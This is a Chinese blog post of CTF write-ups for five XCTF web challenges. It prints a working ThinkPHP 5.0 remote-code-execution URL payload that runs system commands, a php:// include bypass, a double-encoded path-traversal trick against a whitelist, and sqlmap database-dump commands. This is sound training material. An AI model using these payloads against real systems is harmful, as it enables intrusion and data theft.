CTF-攻防世界Web题目1


一、web-php_rce(ThinkPHP远程代码执行)

题目:
考察ThinkPHP版本5的相关漏洞

注意:111.198.29.45是我的场景IP
解题方法:
1、ThinkPHP5.0有远程代码执行漏洞,复现输入:

http://111.198.29.45:46166/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

结果:

2、利用命令寻找flag:

http://111.198.29.45:46166/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22*flag*%22%20-print

结果:

3、输入命令查看flag文件

http://111.198.29.45:46166/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

结果:

二、Web_php_include

题目:

从上面的代码可以看出这个php文件是page参数中不能带有php://内容,所以可以通过大小写绕过;
解题基础:php伪协议
解题方法:
由于我的hackbar不能用,所以只能用burpsuite了;
截获request报文:

利用PHP绕过大小写来执行命令:

接下来查看fl4gisisish3r3.php文件内容:

三、warmup

题目

解题方法:
1、首先按F12查看源代码,发现有source.php

2、访问source.php

3、看到里面内容,还有hint.php,查看,发现flag在ffffllllaaaagggg文件中

4、审计source.php代码

if (! empty($_REQUEST['file'])  //$_REQUEST['file']值非空
        && is_string($_REQUEST['file'])  //$_REQUEST['file']值为字符串
        && emmm::checkFile($_REQUEST['file'])  //能够通过checkFile函数校验
    ) {
        include $_REQUEST['file'];  //包含$_REQUEST['file']文件
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        //打印滑稽表情
    } 

代码告知我们需要三个条件:

1.值为非空
2.值为字符串
3.能够通过checkFile()函数校验
否则打印滑稽

5、查看checkfile()函数

highlight_file(__FILE__); //打印代码
class emmm  //定义emmm类
{
    public static function checkFile(&$page)//将传入的参数赋给$page
    {
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
        if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
            echo "you can't see it";//打印"you can't see it"
            return false;//返回false
        }
 
        if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
            return true;//返回true
        }
 
        $_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
 
        $_page = urldecode($page);//url解码$page
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}

代码告知我们:


1.第一个if语句对变量进行检验,要求$page为字符串,否则返回false
2.第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
3.第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
4.第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
 
若以上四个if语句均未返回值,则返回false
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'),构造url:

因为我们不知道ffffllllaaaagggg文件存放的具体位置
所以依次增加../,最终成功拿到flag

6、最终拿到flag

四、NewsCenter

题目:

解题方法:
1、看到这里先扫一下有没有隐藏目录文件,结果是没有,只能从网站的漏洞开始查找,这里可能有sql注入和xss漏洞;先用burpsuite截获报文:

将报文内容存放到1.txt文件中,用sqlmap来进行注入测试

sqlmap -r 1.txt -dbs

image.png
2、查看news数据库表

sqlmap -r 1.txt -D "news" --tables

发现有个secret_table表

3、查看内容

sqlmap -r 1.txt -D "news" --dump

结果显示出了news数据库的所有内容

成功拿到flag

五、NaNNaNNaNNaN-Batman

题目:

解题基础:
正则表达式

解题方法:
1、拿到zip文件,解压后有个web100文件,修改为html后缀的文件,用浏览器打开,之后是一个这样的网页

2、由于网页乱码,不知道真实格式,看到最后是eval执行的script脚本,改为alert,找到正确的脚本:

function $(){var e=document.getElementById("c").value;if(e.length==16)if(e.match(/^be0f23/)!=null)if(e.match(/233ac/)!=null)if(e.match(/e98aa$/)!=null)if(e.match(/c7be9/)!=null){var t=["fl","s_a","i","e}"];var n=["a","_h0l","n"];var r=["g{","e","_0"];var i=["it'","_","n"];var s=[t,n,r,i];for(var o=0;o<13;++o){document.write(s[o%4][0]);s[o%4].splice(0,1)}}}document.write('<input id="c"><button onclick=$()>Ok</button>');delete _

读懂之后会形成这样长度为16的内容:
be0f233ac7be98aa
3、将上面的内容写入文本框,点击ok:


文章作者: P1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 P1n9 !
评论
 上一篇
CTF-攻防世界Web题目2 CTF-攻防世界Web题目2
一、PHP2题目 解题方法这道题就不知道怎么找到这个index.phps的,我看的题解,直接就说这个源代码泄漏了;1、访问index.phps查看源代码2、从代码中可以看出,id参数需要经过两次url编码3、因为%的url编码为%25,所以
2020-04-14
下一篇 
Wfuzz工具使用 Wfuzz工具使用
参考链接:WFUZZ使用教程 一、简介Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组
2020-04-14
  目录